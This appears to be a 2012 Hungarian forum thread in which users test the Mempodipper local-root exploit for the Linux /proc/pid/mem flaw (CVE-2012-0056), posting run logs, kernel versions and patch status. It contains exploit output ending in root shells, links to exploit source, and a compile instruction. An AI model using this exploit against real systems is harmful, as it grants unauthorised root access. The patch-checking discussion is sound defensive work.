[+] Seeking to offset 0x8049514.
[+] Executing su with shellcode.
# whoami
root

--
x-plane :: hu

Ezzel azt akarod mondani, hogy ez a teszt hibás?


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

Igen, meg ez is hibás volt, de időközben javította spender, ahogy meg is említi a kommentben.

Segítenél? Kicsit össze vagyok zavarodva. Lefordítottam az általad linkelt forrást, mire az eredmény:


./correct_proc_mem_reproducer
vulnerable

Aztán itt meg azt olvasom, hogy kijavult. Megnéztem a kernel forrást is, valóban van erre egy patch benne. Természetesen a javított kernelem fut:


uname -r
3.2.1-3.fc16.x86_64

Nem azt kellett volna kiírnia, hogy "not vulnerable"? Az amúgy csak hab a tortán, hogy nem igazán értem. Ugye, ha hiba következne be, az end label-re ugrik, lezárja az fd filedescriptor-ral megáldott file-t, s kiírja, hogy "not vulnerable". Viszont, ha sikerül, akkor kiírja, hogy "vulnerable", viszont nem fut bele az end label utáni részbe? Nem hiányzik ott egy return (0);, vagy valami ilyesmi? Mondjuk valami sántít abban, amit írok, mert akkor mindkét üzenetet ki kellene írnia.


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

A rendes reproducer verzió továbbra is az ami nálam van kinn (abban van return 0 is egyébként, de itt nincs jelentősége, csak így pedantic ;). Spender csak azt a szarvashibát javította, amely miatt fals pozitív "not vulnerable" üzenetet adott a nála kinn levő reproducer (hibás < 0 ellenőrzés, cast mellett), a többi apróbb javítást nem vette át tőlem.

Mivel azonban ez egy reproducer, ezért csak arra volt való, hogy reprodukálni lehessen hibás kernelen a problémát. Alapvetően azt ellenőrzi, hogy lehet-e írni a /proc/pid/mem-be vagy nem (régebbi kerneleken nem lehetett, így azok nem érintettek a biztonsági hibában). Linus viszont olyan javítást eszközölt, amelytől továbbra is írható marad a /proc/pid/mem, de (remélhetőleg :) most már csak a saját processz számára. A reproducer viszont mivel csak az írás tényét ellenőrzi, így továbbra is "vulnerable"-t ír az új kernelekre (kivéve Ubuntu Oneiric alatt, mert ott nem vették át Linus módosításait, hanem inkább revertelték azt a commitot, amely előidézte a problémát).

Ha ellenőrizni akarod, hogy javítva lett-e a hiba, futtasd le az exploitot. (Ha eddig root shellt kaptál és az új kernellel már nem, akkor nagy valószínűséggel javítva van :)

De kilehetne bővíteni a reproducert is, hogy az exploitot utánozva, de egyszerűbb módszerekkel ellenőrizze a problémát. Meghagyom neked házi feladatnak. :P

Köszönöm a magyarázatot, így már világos. Az exploitot futtattam, nem lett gyökér jogom, így aztán béke honol a lelkemben. Tudom, hamis biztonságérzet, hiszen ki tudja, hogy hány ehhez hasonló van még a kernelben. :)


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

Linux debian-test 2.6.32-5-openvz-amd64 #1 SMP Thu Nov 3 04:22:10 UTC 2011 x86_64 GNU/Linux

===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/15988/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401fa8.
[+] Calculating su padding.
[+] Seeking to offset 0x401f90.
[+] Executing su with shellcode.
testmiska2@debian-test:~$

-------------------------------------------------------
ezen se hostkent se guestkent nem akarodzik menni, akar debian guestnel sem.

Hell is empty and all the devils are here.
-- Wm. Shakespeare, "The Tempest"

Úgy elsőre szemet szúr:

sebezhető verziók: Linux kernel >=2.6.39

--
trey @ gépház

Jogos, a kacsacsőrt kissé elnéztem :)

---------------------------------------------------
Hell is empty and all the devils are here.
-- Wm. Shakespeare, "The Tempest"

LOL, azért a hírt is érdemes lenne elolvasni néha:

Idézet:
Linux kernel >=2.6.39

-----
"Egy jó kapcsolatban a társunkat az ő dolgában kell támogatni, nem a miénkben."
rand() a lelke mindennek! :)

ahol a saját magunk által bepostolt kimenettel szemben ez nem követelmény, ott nehogy már ezt kérd számon

nem etetem a trollt, de gondolom te még soha nem néztél el valamit ;)
---------------------------------------------------
Hell is empty and all the devils are here.
-- Wm. Shakespeare, "The Tempest"

ember, téged védelek

Ez a "hiba" egy rohadt nagy WTF. Jo linux-os szokas szerint csak egy clean up and fix tipusu hiba.
Ki volt az az eszement, aki megirta a mem_open, mem_read, mem_write fuggvenyeket. Hihetetlen, hogy valaki kepes ekkora hulyeseget commitolni.
Mondjuk nem lepodtem meg, mert ehhez hasonlo ganyolasokkal van tele az egesz "csodalatos" linux kernel.

Erre mar vegkepp nem tudok mit mondani. Nem tudom eldonteni, hogy ez most alom vagy valosag.

Kivancsi lennek, hogy egy security expert - aki olvassa ezeket a commitokat - hany perc alatt veszi eszre, hogy itt biztonsagi hiba van.

Egy észt egyetemista jelentette a hibát, ő nyilván már tisztában volt a biztonsági vonzatával.

Ezek után különösen vicces a Linus szokásos suttyomban javítása:

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e268337dfe26dfc7efd422a804dbb27977a3cccc

Keresd a *security*, *vulnerability* vagy *CVE* szavakat a commitban. Ha nem találod, csak mellébeszélést és jó alaposan elrejtett biztonsági javítást egy nagyobb átalakításnak álcázva, akkor ne csodálkozz... :)

"Egy észt egyetemista jelentette a hibát, ő nyilván már tisztában volt a biztonsági vonzatával."

Ilyenkor kerdeznem meg, hogy a nagyrabecsult linux kernel developerek hol voltak? Biztos a linux kernelt kiszolgalo szervereket adminisztraltak. :)

"Keresd a *security*, *vulnerability* vagy *CVE* szavakat a commitban. Ha nem találod, csak mellébeszélést és jó alaposan elrejtett biztonsági javítást egy nagyobb átalakításnak álcázva, akkor ne csodálkozz... :)"

Ezt en is eszrevettem/hianyoltam. Nem szabad kiirni azokat a szavakat, mert akkor pontosabb statisztikat lehet kesziteni a kernel biztonsagaval kapcsolatban.

Szerintem a commit message másik érdekes része ez: "If
somebody actually finds a load where this matters, we'll need to revert
this commit."

Exploit íróknak érdemes lesz figyelni ezt a környéket, hátha mire revertelik, elfelejtik, hogy ez egy biztonsági probléma volt...

Más: valaki nem csinál olyan kereshető adatbázist, ami CVE számokhoz linkeli a javító git commit id-ket? (Lehetőleg nem csak a mainline, hanem mondjuk production rendszerekben használt kernelekhez is.)

Üdv,
Gergely

a CVE adatbazisban hozza szoktak idovel linkelni a git commitokat is, de azt nem tudom, hogy ez rendszer-e vagy csak epp valakinek kedve volt hozza ;).

Ilyenkor kerdeznem meg, hogy a nagyrabecsult linux kernel developerek hol voltak?

Hát, nekik jelentette az észt srác, úgyhogy a probléma elmismásolásán dolgoztak. :P

Időközben egyébként kiadta a srác a kernel security listára küldött jelentését és az exploitját is:

http://www.ut.ee/~asd/exp-0-aedla/report.html
http://www.ut.ee/~asd/exp-0-aedla/exp-0-aedla.c

Úgyhogy egy valamit biztosan lehet tudni, hogy neki már volt a hibára exploitja 1 héttel ezelőtt is. A kérdés csak az, hogy kinek volt még (akár korábban is... ;)

Ha jol latom a hiba 2011 marcius 13 korul kezdodott. Azota meg mar eltelt jo par honap. Tehat aki hibat akart keres, az mar reg megtalalta. Kiveve a linux kernel developereket. :)
Ezek utan mar az is kerdeses, hogy az egesz fejlesztesi rendszer jo e igy. Ha valaki szerez commit jogot, utana szinte barmit commitolhat, hiba irjak masok ala, mert ugyse nezik meg/ellenorzik. Az meg mar hab a tortan, hogy eroforraspazarlo, gany megoldast kuldott be, amit nem szabadott volna elfogadni.

Valóban meggondolandó, dehát ahol fát vágnak ott hullik a forgács.
Amúgy el tudom képzelni, hogy a hozzáállás olyan hogy "mi" majd írjuk, a hibákat meg majd keressétek meg ti.
Ha nem ilyen lenne, akkor szerintem képtelenség lenne, hogy ilyen ütemben jöjjenek ki az újabb és újabb verziók.
Persze mindez csak sejtés, nem látok bele nem olvasom a kerneles levlistákat.

Meggyőzően próbálsz szakérteni, bár ez eddig csak abban merült ki, hogy "gány"-nak nevezed mások munkáját, anélkül, hogy ezt érvekkel támasztanád alá. Meg merném kockáztatni, hogy a csávónak aki tolt némi kódot az 'mm' alrendszerbe több köze van a dologhoz, mint neked (persze csak amíg be nem bizonyítod az ellenkezőjét). Feltételezem, hogy volt oka, hogy meg akarták oldani, hogy írható legyen a proc/pid/mem, és kitalált rá egy védelmet, amit végül kiderült, hogy ki lehet játszani. Elkövetett egy logikai hibát. És? Veled még sosem fordult elő?

És ezzel nem foglaltam állást abban az ügyben, hogy mi a véleményem a 'kernel fejlesztés' vs 'security' topicban, csak roppant mód zavar a más emberek munkáját lekezelő stílusod.

Mindenesetre megkönnyítettem a dolgod, kigyűjtöttem a kérdéses 4 kommittot, hogy könnyebb legyen megmutatnod, hogy mi volt ebben az erőforráspazarló gányolás:
1 2 3 4

A process-ek memóriaterületének írására mi szükség? Innentől kezdve ez olyan, mintha nem lenne védett mód, nem?


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

Gyanítom, cseppet marhaságot írtam. Vélelmezem, az illető process hozzájárulása kell a memóriatartalom egy részének láthatóságához. Ekkor kommunikációra értelmes megoldás lehet.


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

"Such functionality is useful as it gives debuggers a simple and efficient mechanism to manipulate a process' address space."
-- http://lwn.net/Articles/433326/

"The general approach used was suggested to me by Alexander Viro, but any mistakes present in these patches are entirely my own."
Mókás, hogy ennek a kijelentésnek így utólag valóban súlya lett. :)

Na jó, de mi a hozzáférés feltétele? Egy kernel paraméter? Mert ha csak úgy hozzáférhet akár a root a folyamatok memóriájához, akkor izgalmas dolog lehet például egy titkosítást végző process, vagy amelyik jelszavakat kezel...


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

Azért ennyire nem hülyék még a kernelfejlesztők sem. :)

http://lxr.free-electrons.com/source/fs/proc/base.c#L197 -- Azaz minden process csak a sajátját látja, kivéve ha trace-elik. Itt még a root user sem élvez közvetlenül privilégiumot (bár trace-elésnél már igen, tehát közvetetten itt is).

Jelenleg 'ptrace' rendszerhívással láthatod és módosíthatod minden egyes process memóriáját, amit van jogod tracelni. Ez akkor van ha root vagy, illetve ha a tracelni kívánt process a tracelő process gyereke, vagy azzá tehető (nem suid, és ugyanaz a user futtatja). [Nyilván ennél kicsit szofisztikáltabb a szabályrendszer, de majd kijavít valaki, ha nem így van.] Szóval ha root vagy jó eséllyel ahhoz férsz hozzá amihez csak akarsz. Valószínűleg annyit akartak a /proc/pid/mem írhatóvá tételével elérni, hogy egy hatékonyabb interfészen keresztül tehesd ezt meg a jövőben (ne csak 4/8 byteonként), de továbbra is csak a saját processzeid memóriáját írhatod/olvashatod, illetve azokét amit van jogod tracelni.

[szerk] látom megelőztek :)

Mutatsz egy hasonló gányolást? Tényleg érdekelne ...

Óóóóó... de nagy kő esett le, amikor megláttam, hogy 2.6.39+... Mindenhol 2.6.38.8-at használunk és supportálunk...

és gondolod, hogy a 2011. június 3-án kiadott 2.6.38.8 óta nem volt más biztonsági hiba ami érinti? :)

local rootról legalábbis nem tudok :)

# apt-get install stellarium
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following extra packages will be installed:
  stellarium-data
The following NEW packages will be installed:
  stellarium stellarium-data
0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.
Need to get 35.6 MB of archives.
After this operation, 48.3 MB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://hu.archive.ubuntu.com/ubuntu/ oneiric/universe stellarium-data all 0.11.0-1 [32.2 MB]
Get:2 http://hu.archive.ubuntu.com/ubuntu/ oneiric/universe stellarium amd64 0.11.0-1 [3407 kB]                               
Fetched 35.6 MB in 56s (634 kB/s)                                                                                             
debconf: unable to initialize frontend: Dialog
debconf: (TERM is not set, so the dialog frontend is not usable.)
debconf: falling back to frontend: Readline
dpkg: error: error: PATH is not set.
E: Sub-process /usr/bin/dpkg returned an error code (2)

hmm...

szerk.: ja hogy már javították? vagy most összezavarodtam.

+1

eléggé úgy tűnik, hogy összezavarodtál :)

ilyenkor mindig érzem, hogy szőkül egy kicsit a hajam.

bár ha szerencsém van, mire teljesen kiszőkülne, addigra megőszülök.

szerintem túl sok kávét ittam

Segítek: az exploit lefutása után olyan root shellt kaptál, amelyben nincs beállítva a TERM és PATH környezeti változók, erre panaszkodik a debconf és a dpkg. Semmi köze a hiba javításához, főleg mivel csak stellariumot akartál telepíteni... ;)

nyehh... köszi

de sokat kell még tanulnom... ¬_¬

jelen esetben mindossze hibauzenetet olvasni ;)

hehe... jogos.

akkor még van remény

Ubuntu 10.04 x86 és Linux Mint 11 x86_64 nálam nem sebezhető.

-------------------------
Trust is a weakness...

+1, itt sem megy

talan mert mindkettoben <2.6.39-es kernel van... RTFA

-1, nem nyert

1. nem neked valaszoltam (te nem is irtal se distrot, se kernel verziot, csak pluszegyeztel)
2. http://distrowatch.com/table.php?distribution=mint -> 11 : 2.6.38
3. http://distrowatch.com/table.php?distribution=ubuntu -> 10.04 : 2.6.32

bri:~$ gcc mempodipper.c -o mempodipper

bri:~$ who am i
bri      pts/1        2012-01-23 20:43 (:0.0)

bri:~$ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2214/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049ae0.
[+] Calculating su padding.
[+] Seeking to offset 0x8049ad4.
[+] Executing su with shellcode.

bri:~$ who am i
bri      pts/1        2012-01-23 20:43 (:0.0)

bri:~$ uname -sr
Linux 3.0.0-15-generic

bri:~$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04.3 LTS"

durva, mi?

na de #25 vagy #26?

bri:~$ who am i

:)))))))))))

durva, mi?

nem kicsit :DD

egy aliason mi durva? a szóközök?

nekem sx volt régen a startx, na annak van értelme - kevesebbet kellett gépelni

who-nak adja meg parameterben az am-et meg az i-t :D:D who xx asad -ra uyganez jon ki :D

próbáld ki. jó ez így, max csúf. bevett szokás. legalábbis itthon. :)

akkor most nyomok egy man who-t és megyek aludni

who --help 2>&1 | grep ARG

boven eleg :D nem gondotlam volna hogy pont emiatt implementaltak 2 argumentumra :D

Latom nem csak en talalkoztam olyan programmal, ami stderr-be kuldte a --help-et. :)

Ez jo otlet. Meg a vegen mire felebrednel, szep szoke hercegno lenne beloled. :)

--
The Wikipedia blackout is over. At last we can now find out what SOPA is.

basszus, majdnem a monitorra köptem a sört :))

en is konnyezek mar :D

oké, legközelebb majd who xx asad lesz belőle, csak a te kedvedért.

ellenben a 3. http://distrowatch.com/table.php?distribution=ubuntu → 10.04 : 2.6.32 tézised megbukott.

Nem is tudtam, hogy letezik custom kernel. Azt meg vegkepp nem tudtam, hogy amikor valaki kiirja, hogy mukodik-e az exploit, akkor ezt nem szokta megemliteni :D (amugy azt ott meg mindig nem neked valaszoltam, de mindegy)

tény, hogy illett volna, de ettől függetlenül alapból azt feltételezni, hogy hülye, és RTFA-zni mivel okosabb, mint megkérdezni, hogy milyen kernelt futtat? (bár amúgy valsz igazad van, úgyhogy ezúton kérdezem, kedves sh4d0w808, milyen kernelt futtatsz?)

egész nap egy iszonyatosan tömény matekkönyvet tolok az agyamba - de én vagyok a hülye, hogy ilyenkor leállok fórumozni

oda nem válaszolok, mert ez egy annyira de annyira gyönyörű végszó lenne, én nem rontom el. :)

muti mar mi az az "iszonyatosan durva" matekkonyv! nekem van itthon bar, de ketlem, hogy ezeket olvasod:)

az igazi matekban mar nincsenek is szamok, esetleg kezodindexkent megjelenhet egy 0 vagy 1 a sok betu, gorog betu es mindnefele egyeb jelek (pl. szumma) kozt ;)

a Járai-féle bevmat, ha jól sejtem.

es az mit keres neki a kezeben? :-) amugy az ja, az kemeny konyv.

én adtam neki oda. nem akarom prof Ph.D., C.Sc., habil, D.Sc. Járai (sic!) urat túlzottan fényezni, de szakmailag ott van a szeren, és a könyvében sok bizonyítás szépen le van írva.

i dont even

andras@handras:~$ uname -a
Linux handras 2.6.32-34-generic #77-Ubuntu SMP Tue Sep 13 19:40:53 UTC 2011 i686 GNU/Linux
andras@handras:~$ id -u
1000
andras@handras:~$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/17626/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049ae0.
[+] Calculating su padding.
[+] Seeking to offset 0x8049ad4.
[+] Executing su with shellcode.
andras@handras:1:~$ id -u
1000

:D

~~~~~~~~
http://www.youtube.com/watch?v=VbUVqODL1nE

Ahaha :)

nem olvastam a cikket csak beposztoltam a kimenetet mint a többiek :D

~~~~~~~~
http://www.youtube.com/watch?v=VbUVqODL1nE

Slackware 13.37 + általam fordított Linux version 3.2.1 - nem hatásos, maradtam user.

Linux andraspc 3.1.9-1.fc16.i686.PAE #1 SMP Fri Jan 13 16:57:54 UTC 2012 i686 i686 i386 GNU/Linux

Az exploit nem működik nekem.

SZERK1: https://access.redhat.com/kb/docs/DOC-69129
E szerint nálam azért nem működik, mert aktív az ASLR. Viszont test.c (https://bugzilla.redhat.com/attachment.cgi?id=556461) jelzi hogy sérülékeny a rendszerem.

SZERK2: Kikapcsolva az ASLR-t sem működik az exploit.

SZERK3: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c?h=fedora viszont root jogot ad.. :(

Ez legalább egyszerűvé teheti a smartphoneom rootolását amikor lesz hozzá Android 4.0.

[zokomov]$ uname -srm
Linux 3.2.1-3-ck i686

[zokomov]$ ./really_correct_proc_mem_reproducer
vulnerable

[zokomov]$ whoami
zokomov
[zokomov]$ ./mempodipper
[zokomov]$ whoami
zokomov

Sajnos nem megy:

2.6.41.4-1.fc15.x86_64

>>: sys-admin.hu :<<

Rendszeresítették az UNAME26-ot a Fedoránál?

15.-ben. Szerintem 16-ban nem, de azt még nem láttam.

>>: sys-admin.hu :<<

Pedig már azt hittem, hogy kimaradok a jóból a Fedorával..

[+] Executing gpasswd with shellcode.
sh-4.2# whoami
root

Csak semmi pánik, már az update repókban a javítás:

https://bugzilla.redhat.com/show_bug.cgi?id=782681


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

Javítja, megerősítem.

>>: sys-admin.hu :<<

Ubuntu 11.10 alatt egy frissités úgy néz ki megoldja dolgot. A 3.0.0-15-generic kernellel már nem megy.

http://www.ubuntu.com/usn/usn-1336-1/
http://people.canonical.com/~ubuntu-security/cve/2012/CVE-2012-0056.html

A 3.0.0-15 (.17) tegnapelőtt érkezett. Viszont abban még nem volt javítva. Viszont a mai 3.0.0-15 (.26) frissítésben már igen.

--
trey @ gépház

Igaz. Csak ma foglalkoztam frissítéssel, így nekem egyből a javított 3.0.0-15 jött le, azaz a #26.

oykawa@Edward:~$ uname -a
Linux Edward 3.2.1 #1 SMP Fri Jan 13 18:40:20 CET 2012 i686 GNU/Linux
oykawa@Edward:~$ who
who whoami whodepends whois who-uploads
oykawa@Edward:~$ whoami
oykawa
oykawa@Edward:~$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/493/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049a44.
[+] Calculating su padding.
[+] Seeking to offset 0x8049a2c.
[+] Executing su with shellcode.
# whoami
root

Oykawa Hirohito

sub
--
cythoon

Ubuntu 11.10-ben úgy nézem javítottak valamit, bár biztos írta már valaki:

Changes for the versions:
Installed version: 3.0.0-15.25
Available version: 3.0.0-15.26

Version 3.0.0-15.26: 

  [ Upstream Kernel Changes ]

  * Revert "proc: enable writing to /proc/pid/mem"
    - LP: #919115
    - CVE-2012-0056

Most már ubuntu 11.10 alatt sem:

$ uname -s -r -v -m
Linux 3.0.0-15-generic #26-Ubuntu SMP Fri Jan 20 17:23:00 UTC 2012 x86_64

3.2.1-2-ARCH #1 SMP PREEMPT Mon Jan 23 12:40:01 UTC 2012 x86_64

Itt nem működik.

majdnem ugyanaz:

Linux micsalaptop 3.2.1-micsa #1 SMP PREEMPT Tue Jan 17 22:54:19 EET 2012 x86_64 Intel(R) Core(TM) i3 CPU M 350 @ 2.27GHz GenuineIntel GNU/Linux

nálam sem működik.

sorry, 2x ment el, pedig csak 1x nyomtam meg

Nyugtassatok meg, hogy csak azért postolja ki mindenki a kimenetét, hogy hatékonyabb legyen a szerveroldali gzip tömörítés… :-)

int getRandomNumber() { return 4; }  // ← aláírás
//szabályos kockadobással választva. garantáltan véletlenszerű.  xkcd

Részben. Másrészt végre lehet ütni verni a Linuxot hogy lassan rosszabb, mint a DOS. ^^

--
GPLv3-as hozzászólás.

Mudodik :(
Debian testing, 3.1.0-1-amd64

--
http://www.micros~1

Gentooba tegnap bekerult a javitas: gentoo-sources-3.0.17-r1 gentoo-sources-3.1.10 gentoo-sources-3.2.1-r1, sajnos meg egyik sem stabil. https://bugs.gentoo.org/show_bug.cgi?id=CVE-2012-0056

subscribe

CVE bejegyzes 2011.11.07 ota letezik "assigned" statuszban.
Bugzillaban nehany oraval a commit utan jelent meg 2012-01-17 21:34 EST-kor .
Vajon miota tudott rola a RedHat es miota Linus ?


Amit nem lehet megirni assemblyben, azt nem lehet megirni.

CVE bejegyzes 2011.11.07 ota letezik "assigned" statuszban.

Az mindegy, a CVE számokat blokkokban osztogatják (egyébként 2011.12.07 az).

Vajon miota tudott rola a RedHat es miota Linus ?

2012. január 17 óta

Nálunk sem megy:

[[ vector@core2 : ~/tmp ]]$ uname -a
Linux core2.blackpanther.hu 2.6.38.2-desktop-1bP #1 SMP Tue Apr 12 17:40:36 BST 2011 i686 i686 i386 GNU/Linux
[[ vector@core2 : ~/tmp ]]$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x80493d0.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/32087/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x80493c2.
[+] Executing su with shellcode.
[[ vector@core2 : ~/tmp ]]$ wh
whatis whereis which which-python while who whoami
[[ vector@core2 : ~/tmp ]]$ who
who whoami
[[ vector@core2 : ~/tmp ]]$ whoami
vector
[[ vector@core2 : ~/tmp ]]$

[vector@no1 vector]$ uname -a
Linux no1.blackpanther.hu 2.6.30.4-security #1 SMP Tue Aug 18 11:11:09 CEST 2009 i686 Pentium(R) Dual-Core CPU E5200 @ 2.50GHz GNU/Linux
[vector@no1 vector]$
[vector@no1 vector]$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x80492d0.
[+] Opening socketpair.
[+] Executing child from child fork.
[+] Waiting for transferred fd in parent.
[+] Opening parent mem /proc/22263/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x80492c2.
[+] Executing su with shellcode.
[vector@no1 vector]$ whoami
vector
[vector@no1 vector]$

-------------------------------------------------------------------------------------------
Mit használok? Na, na, na? Hát blackPanther OS v11.1-et * www.blackpanther.hu

::pacefalm::

--
trey @ gépház

A 198214a7ee50375fa71a65e518341980cfd4b2f0 commit (a /proc/<pid>/mem írhatóvá tétele) teszi lehetővé a sebezhetőséget, ami a 2.6.39-es kernelben jelent meg.

A 2.6.30-as és a 2.6.38.2-es kernel nem érintettek.

jah, most láttam én is trey postja után :/ Már mindegy:)
-------------------------------------------------------------------------------------------
Mit használok? Na, na, na? Hát blackPanther OS v11.1-et * www.blackpanther.hu

Na de ezen sem megy szerencsére.

[[ vector@core2 : ~ ]]$ uname -a
Linux core2.blackpanther.hu 3.1.1-1.1-desktop #1 SMP Thu Nov 24 00:03:58 GMT 2011 i686 i686 i386 GNU/Linux
[[ vector@core2 : ~/tmp ]]$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x80493d0.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/8425/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x80493c2.
[+] Executing su with shellcode.

aztán a promtot sem kapom vissza, itt csak álldogál és semmi nem történik....

-------------------------------------------------------------------------------------------
Mit használok? Na, na, na? Hát blackPanther OS v11.1-et * www.blackpanther.hu

Nekem is ez történt, de viszont a fedoras verzió műxik (fent linkelte valaki):

http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c?h=fedora

(3.2.1-1 archlinux)

komolyan képes voltál éles szerveren futtatni?

Miért? ha lefut úgy is kernel csere azonnal...

-------------------------------------------------------------------------------------------
Mit használok? Na, na, na? Hát blackPanther OS v11.1-et * www.blackpanther.hu

igaz, nem sikerült gondolkodnom

-----------
A barátnőm azt mondta, néha próbáljam meg a világot az ő szemével nézni. Úgyhogy kinéztem a konyhaablakon.

Nem feltétlenül.. Általában az ember mérlegel, hogy próbáljam vagy ne, ha lefut majd utazok és telepítést stb. De nekem a szerver egy karnyújtásnyira van kb. Illetve 1 emelet választ el tőle. Szóval a biztonság volt szem előtt.

-------------------------------------------------------------------------------------------
Mit használok? Na, na, na? Hát blackPanther OS v11.1-et * www.blackpanther.hu

Azért azt érdemes hozzátenni, hogy egy kernel exploit lefuttatásának éles rendszeren van némi rizikója. Itt mondjuk nem olyan vészes, mert a 'magic' userlandben történik, de sokszor ahhoz, hogy exploitálhass egy kernelhibát, szét kell barmolni néhány kernelstruktúrát (idt, slab cache, inode-ok, stb.) amit az exploit sikeres lefutása esetén megpróbálnak visszaállítani, de egy POC exploit esetén, ezek a részek nem feltétlen vannak megírva, hiszen nem az a lényeg. Szóval elképzelhető, hogy maradnak az exploit futása után (főleg ha sikertelen és kilép valahol félúton) a memóriában olyan invalid struktúrák, nem elengedett lock-ok, amik akár adatvesztéshez vagy későbbi crash-hez vezetnek.

Mondjuk én is élesben futtattam :-)

Linux debian 3.2.0-1-686-pae #1 SMP Thu Jan 19 10:56:51 UTC 2012 i686 GNU/Linux

dettó

Hello

Valaki beirná a parancsokat?
Trey beírt 3 at de a többit nem(igaz a 3.-nál már root volt)
Sajnos a 10 éves LG CRT monitorommal max 100% fényerőnél is kb semmit se látok a videobol

kösz

ps:Ez csak szervernél működik?
Nekem "csak" Debian 5.0 64 bit van (várom a 7-es verziót,az a szerencseszámom:)

letöltöd és lefordítod a mempodippert, majd futtatod a leírt módon (de ha régi kerneled van, akkor csak elég a régi biztonsági rések miatt paráznod)!
gcc mempodipper.c -o mempodipper

--
"Nem akkor van baj amikor nincs baj, hanem amikor van!"
Népi bölcsesség